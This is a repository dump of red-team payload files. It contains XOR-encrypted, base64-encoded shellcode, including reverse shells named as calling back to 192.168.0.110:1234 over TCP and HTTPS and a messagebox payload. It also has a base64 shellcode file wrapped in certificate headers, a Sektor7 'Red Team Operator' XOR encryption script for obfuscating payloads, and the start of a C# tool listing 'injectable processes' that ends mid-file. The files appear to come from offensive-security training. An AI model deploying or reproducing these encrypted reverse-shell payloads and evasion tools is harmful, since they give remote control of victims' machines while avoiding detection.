nMKAOa0t1ZW5nKDA3cmV2ZW6XCikZcWV2ZXRnMDA3cmV2xTZ+HjM3cmVeZW5nMDA3ciUvfEBkMDA3kGx2ZW5nMDDXLXxYZm5nMNw+cmV2ZW5nsGUuXGZ2ZW47MDA3cmV2Zd5IKR40cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDAVFUq9X8W1Iax3cqU5xmRZ4uEOz0rMDybugISHuSMe9PC8AuOEy0A352nGeLTCQHOq85hiGRtURMj9oVb7wpckUQJZrlTM4iGrMmW2Ks1tDr0v8vf4awkvgzxI2l3yjbDFe3nVcmV2ZR5yKR40cmV2t5N9nzA3cmU2cHdJMzA3cpIo5oxnMDA34nBvS21nMDAebwFUZW5nMFAia0t1ZW5nElfj8mV2ZW5nJSkZcWV2ZY+Hmnw3cmV2pXt+HjM3cmUvorQqMDA3ckVhfEBkMDA3SvoCG25nMDAXZHxYZm5nMP5QI4d2ZW5nMCYuXGZ2ZW7Oel8ycmV2Zf5xKR40cmV2lSP4hTA3cmUmcndJMzA3cqTqR1RnMDA3EnNvS21nMDBX9GgGZW5nMIAva0t1ZW5nLojDH2V2ZW4XKCkZcWV2ZdUvrrg3cmV2xXd+HjM3cmXQLhqVMDA3cuVvfEBkMDA3oAEUM25nMDDnZXxYZm5nMImoDnt2ZW5nUCcuXGZ2ZW5ua5c5cmV2Zd5wKR40cmV2XRqi5jA3cmXmfHdJMzA3cuk/R/BnMDA3snJvS21nMDBDWYO4ZW5nMMAja0t1ZW5n/8PLK2V2ZW6HwikZcWV2ZZWXj283cmV2ldh+HjM3cmUuWns9MDA3cnXOfEBkMDA3bd5Hqm5nMDD3xHxYZm5nMAz5nFV2ZW5noIUuXGZ2ZW5nMDA3cmV2ZW5nMDA3cmV2Z25nMDI3cmV0ZW5nLzA3ciZMOTkOXlRYBRYqNhcURFVaQVcqCwETVUBWFksTHQt4MDA3MV8qMgcJVF9AATklHB0wf2cBRjkYChoCQFFTXAAOAG5nMDA3cmV2ZG5nMCw3cmVEZV9nBjAZclF2XW5JMAE3RWVOZUBnATACclB23m9nMDE3cmWsZW5nfTBYch92DG4LMFw3E2VZZVtnHjAHckV2TW4wMFk3HGUSZQFnRzBEckV2K24zMBA3RGVYZV9nCzAXcjJ2Km4wMAY3RmVfZU5ncTBHchV2CW4CMGc3F2UUZSVnWTBDckp2UG5UMAc3XGVFZVhnEDAfci52LW4zMH03PmVaZU5nXDBecg52AG5HMHc3F2UVZQVnXzAeckV2Jm4PMEI3HWUbZQtnHzAOclN2S25XMB43RmVAZVhnBDAZclR2VG5XMBA3IWUXZQhnUTBFcgx2Sm5SMAM3RWVYZV1nBjA2cmV2R25nMHM3HWUYZRpnVTBZchF2SG4TMEk3AmUTZVRnEDAdckp2T25mMDA3cGV2ZUFnMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3Hl6Jmqdaz8/OTZqJ5SyYz8x3jZppJ5GYmh7IjQFZmpFtAc/IzF2JmtBfz89zQZqJ0VqYzxcBjZrLUpGYJhHIjQRVmpGeFM/IiUCJmkBBz8+lVJqJhkiYzxkejZr/QpGY2BfIjTYTIQsFRVdnAAwADAICV1U3cmV2fyeYzyx9jZqhL5GYC3vIjSo6mpGGfc/I6yuJmo8pz889PZqJVHOYzxcqjZpReJGYxynIjchsmpH2Ks/Il3+Jmqd9z884N5qJrCmYz5FyjZpEI5GYynXIjawxmpGud8/IuyKJmqcgz8/+NZqJrCmYz/lwjZq/IpGY+XfIjawxmpGud8/IuyKJmgYhz89INZqJhiiYzzA3cmWJRm5nMDA3cmV2ZW5nMDA3LmVJZVFnbDB0cl92OW4wMFk3HGUSZQFnRzBEcjl2Nm4eMEM3BmUTZQNnAzAFcjl2C24TMFQ3HmUaZUBnVDBbcgl2ZW5JVFFDE2V5YK1nMDBkFywbFQsVQ19ZExETNRwORllbFwITZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmX7ZGxjOCAXMuVtU25nMDA3cmV2ZW5nMDA3cmV2ZW5nMFNLBR6EDgGiADFQWZuhzhitsvlKiDwxlcOzkp+r1he20pP0FgYIhalCwIuWQegGZ2GxRq1/pjWtdXf2h4VAgkU+8UlsfgA9kGIMpNZfhkHjY+E3n0WK1DUN+44OOCkuqr6Imst0P1bzIJdlT2AL7c0nxi7ooq0Ph9nAv093z8Plv2lliTHwdCfz1RtLATN+Q1C2PblUT/7vdt6PZrsobrWHAgo9O2NSOay0nFKm54EPgqZQXb3iPMwaM5qNVUqZet8OQEB7loTxmrgCeiXau7pHTNAQLW2RPlECJdzwpHP50civYwyv6/r8LrfevDBeuuLGuT2IlCceJPdKP4BjyXNSZW5nMDA3cmV2ZW5nMDA3ImU5ZT1nZDA3cmV2ZW5nMPA2aEt1ZW5nMDA3cmV2ZW5HNSoZcWV2ZW5nMDA3cmV21W99HjM3cmV2ZW5nMDA3cuV3f0BkMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmVC28UEMDA3cldGZG5mMDA3c2V2ZW9nMDAfQmR2SV5mMAAHc2U2v25ncQA2cmV2VFlVBQBVR1xCV0ADXFw3IREXFxpnMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDE3GmV2ZWbHKJAf0l3WLc4/kFiXCsX+xfbHmJCP0q3Wvc6PkMiXesRuxEbGCJH/073Xjc+fkTiVasdex1bFeJJv0A3UHczvkqiV2sfOx6bF6JLf0J3Ubc1/kxiUSsY+xjbEWJM3cmVmZG53MDA3kseGx27EIJM3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZQ== 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssg_shellcode_exitfunc_thread_x64.txt: -------------------------------------------------------------------------------- 1 | 6pRXcDXqyMn+n0nmMCkGte5iAAq3jcTOX/5aTlfywtvfFFi4Hs4ZsVpUd4GuQreMBWktQ7XLjGi6MqgtT7XHC4//W7PicUBA8L/ss5DOb0AsIzVaHCEF2VP023TRdDQq3MnvXjWJbFGl+2Yxlat/FyU2T0wTzf+CgDl9lhuxE0caOOWcGqfhLc2/acJwFDHYDu0zpzXuZrpG1mo7Bz8qToWajglyH6mIpskCyVNM6P9ZHmrXC9cSTxuUedvnKi8mTd0nmny3Joxqbh5OrNY/x3D13iO7tZOTCfrpk5ur67v26tjb4M/ZgDNI6twnFeGh9BbgrYA4eFeP/TeQwxV4A4zLfw1sCj+vBpOWGZx1yWur78BoQXFgCwcUUMrL2S2PCf2MftV66incee6cq5jXrtXgB7Q8/YWC+w+wf46scfit7qvgGBHJvF7Ht+z/irxV 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssg_shellcode_x64.txt: -------------------------------------------------------------------------------- 1 | XJVVlunSWzMwIZQ1vvgRRHVPIowGoXwRO15ALAjtqEi4tEvLZvgqIpUjYbSUr6K3U49iwPzesIlErb04KyrHbR+GUyy8h101bX4jcBfVEKwtgvRdvYj7N9QTY/KxOM22CFlKKU9/p/oEVQqY/EKUTjyITLhQdWsVxLpU36jIBGd+X3nx7/9FQIagsDQsrvt4CTZN5ghmTM4U2Xq9Nt0cDrNAjmDgj6MoN7S9SIbnr9q7b+IvgHc5eUG7d6MVdolqF/98sSufMFsZjMmTNSesGTT9tqW/lxTAxIgf2pUQCZ1Ub1aSb0Xnh1lkVUEHRbd/fiMrsdVa2p2bRWaU78RCaKOwPsNfkXnxwuSlXaEe9N+i1+YddgKIbBofVk6dlVO2bNtcXsQIQB6zJspOPFb1HA== 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssgbox_RTO.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/XOR_b64_encrypted/mssgbox_RTO.bin -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssgbox_RTO.txt: -------------------------------------------------------------------------------- 1 | ji33gZ6Yz8/fomV2ZS82cWBlIzM+VLwCeLtlEls+7jx/Dni8IEVILeUVYA5/fdI8LyNW+XgGsslKBBJlHBB2s6x7JG+m0t1lMzRILeU1EA68MFk+ZL5Zu7C/cmV2LeunRF9/c7UmW+UvKA5z+SVWLG+302x/jaxIJOVTuHg2pChHrCZW8Jx2s6x7JG+mCNBCg1s6ZiJDOHUOoxCgPVAju3ATO2SmA1Amuzx/TCH9JXIuMeAJM+5y7SZm4HFvMz0oPDQmaHFuMz8+5oJHcWLIkj03PDRZeLslmyyJmpE6eff2cmV2ZVAvvaXJcmV2WyLqtSM2cmU+VKcminW0JGKJsCZW+XGNgtDUM5GyeFVbHgpWAxwIXRBEGgAaCQ0IVFU3PwAFFg8AVXJYCmU= 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssgbox_shellcode_exitfunc_thread_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/XOR_b64_encrypted/mssgbox_shellcode_exitfunc_thread_x64.bin -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/mssgbox_shellcode_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/XOR_b64_encrypted/mssgbox_shellcode_x64.bin -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/rev_kali_192_168_0_110_1234.txt: -------------------------------------------------------------------------------- 1 | ji31gZ6P8DA3ciQnJD41YWZ/Q7cTLeU1UHi8IH0+7jxHeLtFIi150iQtfQH+OlS2yVIGTDIbUiS3rGMmMfHVnzc3NCbsYhC8MFk+ZL7ssLg3cmU+4K4TV3g2ojX9LXYju3AXO2Smhjgvz/l2+VH+LW+xfQH+OlS2yS+m+T12c6ROhRuWfDN7Vm0zXL8S6Ghz+SVSLG+3VnG8fi0y7i57eTHnM+5y7SZm4HFvMz0oPDQmaHFuMz8+5oJHcWLIkj03PDQvuyLeJZqJmjMujkdEQDpFV25ncWZ++4M+5ILHMTA3O+yTLNJlMDTlss12Cy8zebnTPuyHJNQrRxYwjbA67IQPMTE3cjw330fnWzDIpzUmKF+ufQH3Opq2LeeleM/3Ouy3JNSNP+/XjbA+7KkNIHFvPuyULeeecYqu1xEXmrsvsfR3cGV2LNYEXVQ3cmV2ZS83cWB/+4chMjkqAfBdfzw3NYybVvdzVjF3ZCbqdBQvtGUeLeeBZmB2IiQmJD4uz/B2IiyJrSPu8Xy+syTMHKJYts/iOlSkLZGtuz52yG3xeA6Y5YvXb098JNTBpY2qjbA+5qpPDDZLeOWNhRtii3ckAAocZTcmuerIpw== 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/rev_kali_192_168_0_110_1234_https.txt: -------------------------------------------------------------------------------- 1 | ji31gZ6P/DA3ciQnJD41eAHlFy39Nw42eLtlai39N04xfQH+OmrBLyQvu0JnOlS2yVIGTDIbUiS3rGMmMfHVnzc3NCbsYhC8MFk+ZL4BsUgveWd54BxnMDC88u12ZW4vtfBDFS13teUvKHS8MkU/ZL4302Z/jaw7VKcmuwS/OmSgLV+nnHH2u2g3ZK9f0EXGPmY6QWYiCeFCqj0y7i5DeTHnFCT9aSYju3ArO2SmJOVjuHg2oiQuJDY5aWp2KiQvJDQvs9wXMzeJhTYmaWp/+XefLpGYz21/Q74lLNAQWV5eHAACZS8xeLnWO6K0KRlBN8/iITY+7I80an0GsihHrD00eYoNJBzRZW5nMM/immt2ZW5WCQIZQ1NOS15JAQEHcj8+7K8u9/DldmV2KF+uY2NdcTY/3znur/Y3cmV2mruPFDA3ckpDNlw/AXhWFz8wDwExHVxhGx0ADigmZ10OIg8TBj8iQB1lci3/pD09cWh6Q6wlLdZnApizcmV2ZT40Y3nwsI4jS1WY5Xi+tA98OibuwVooKDce5V1nMHm+kg9yJDcuikVx7ON2ZW5nz+V6Q6UlPybuwX0GuyhHrD00eff1X2NuHpGytfBCbS2xpOZ0MDB+yCGGUI5nMDA3jbA+mqETMtudmjB2ZW40aVp3KCz/tK+FIHnwsmVmZW4uimiTIYB2ZW5nz+V/4TYlLeeAeLnGOuysLKmnMBA3ciz/nCfdIqa+kGV2ZW6Y5Xi0tkXzpRrVVrswOmS14K4S4mj0Kg92PNWHLRo9M+ysmrs= 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/rev_shell.txt: -------------------------------------------------------------------------------- 1 | ji31gZ6P8DA3ciQnJD41YWZ/Q7cTLeU1UHi8IH0+7jxHeLtFIi150iQtfQH+OlS2yVIGTDIbUiS3rGMmMfHVnzc3NCbsYhC8MFk+ZL7ssLg3cmU+4K4TV3g2ojX9LXYju3AXO2Smhjgvz/l2+VH+LW+xfQH+OlS2yS+m+T12c6ROhRuWfDN7Vm0zXL8S6Ghz+SVSLG+3VnG8fi0y7i57eTHnM+5y7SZm4HFvMz0oPDQmaHFuMz8+5oJHcWLIkj03PDQvuyLeJZqJmjMujkdEQDpFV25ncWZ++4M+5ILHMTA3O+yTLNJlMDTlDWV2ZC8zebnTPuyHJNQrRxYwjbA67IQPMTE3cjw330fnWzDIpzUmKF+ufQH3Opq2LeeleM/3Ouy3JNSNP+/XjbA+7KkNIHFvPuyULeeecYqu1xEXmrsvsfR3cGV2LNYEXVQ3cmV2ZS83cWB/+4chMjkqAfBdfzw3NYybVvdzVjF3ZCbqdBQvtGUeLeeBZmB2IiQmJD4uz/B2IiyJrSPu8Xy+syTMHKJYts/iOlSkLZGtuz52yG3xeA6Y5YvXb098JNTBpY2qjbA+5qpPDDZLeOWNhRtii3ckAAocZTcmuerIpw== 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_encrypted/README.md: -------------------------------------------------------------------------------- 1 | cmd> python2.exe .\xorencrypt.py .\mssgbox_shellcode_x64.bin 2 | 3 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_encrypted/mssgbox_shellcode_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/XOR_encrypted/mssgbox_shellcode_x64.bin -------------------------------------------------------------------------------- /dotNETbinaries/XOR_encrypted/xorencrypt.py: -------------------------------------------------------------------------------- 1 | # Red Team Operator course code template 2 | # payload encryption with XOR 3 | # 4 | # author: reenz0h (twitter: @sektor7net) 5 | # Use: python2.exe .\xorencrypt.py .\mssgbox_shellcode_x64.bin 6 | 7 | import sys 8 | 9 | KEY = "mysecretkeee" 10 | 11 | def xor(data, key): 12 | 13 | key = str(key) 14 | l = len(key) 15 | output_str = "" 16 | 17 | for i in range(len(data)): 18 | current = data[i] 19 | current_key = key[i % len(key)] 20 | output_str += chr(ord(current) ^ ord(current_key)) 21 | 22 | return output_str 23 | 24 | def printCiphertext(ciphertext): 25 | print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };') 26 | 27 | 28 | 29 | try: 30 | plaintext = open(sys.argv[1], "rb").read() 31 | except: 32 | print("File argument needed! %s " % sys.argv[0]) 33 | sys.exit() 34 | 35 | 36 | ciphertext = xor(plaintext, KEY) 37 | print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };') 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /dotNETbinaries/b64_encoding/README.md: -------------------------------------------------------------------------------- 1 | cmd> certutil -encode .\mssgbox_shellcode_x64.bin .\mssgbox_shellcode_x64.b64 2 | 3 | -------------------------------------------------------------------------------- /dotNETbinaries/b64_encoding/mssgbox_shellcode_arranged_x64.b64: -------------------------------------------------------------------------------- 1 | /EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhRMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VSGVsbG8gZnJvbSBzaGVsbGNvZGUATWVzc2FnZUJveAA= 2 | -------------------------------------------------------------------------------- /dotNETbinaries/b64_encoding/mssgbox_shellcode_x64.b64: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | /EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dK 3 | Sk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXA 4 | dG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB1 5 | 8T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVhe 6 | WVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyN 7 | hRMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VSGVsbG8gZnJvbSBzaGVsbGNvZGUA 8 | TWVzc2FnZUJveAA= 9 | -----END CERTIFICATE----- 10 | -------------------------------------------------------------------------------- /dotNETbinaries/b64_encoding/mssgbox_shellcode_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/b64_encoding/mssgbox_shellcode_x64.bin -------------------------------------------------------------------------------- /dotNETbinaries/checkprocess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | 4 | namespace Myprocesses 5 | { 6 | class GetProcesses 7 | { 8 | static void CmdMenu() 9 | { 10 | Console.Write("\n"); 11 | Console.Write(@"[*] Use: 12 | 1 : To list all processes and corresponding PIDs. 13 | 2 : To get current process name and PID. 14 | 3 : Dump all injectable processes. 15 | 4 : To exit."); 16 | } 17 | 18 | static void ListAllProcesses() 19 | { 20 | Process[] processCollection = Process.GetProcesses(); 21 | int index = 1; 22 | foreach (Process p in processCollection) 23 | { 24 | Console.WriteLine("{0}. PID: {1} => ProcessName: {2}", index, p.Id, p.ProcessName); 25 | index ++; 26 | } 27 | } 28 | 29 | static void CurrentProcess() 30 | { 31 | Process current = Process.GetCurrentProcess(); 32 | Console.WriteLine("PID: {0} => ProcessName: {1}", current.Id, current.ProcessName); 33 | } 34 | 35 | // ====== Exit function ============== 36 | 37 | public static void EXIT(string cmd) 38 | { 39 | if (cmd.Equals("exit")) 40 | { 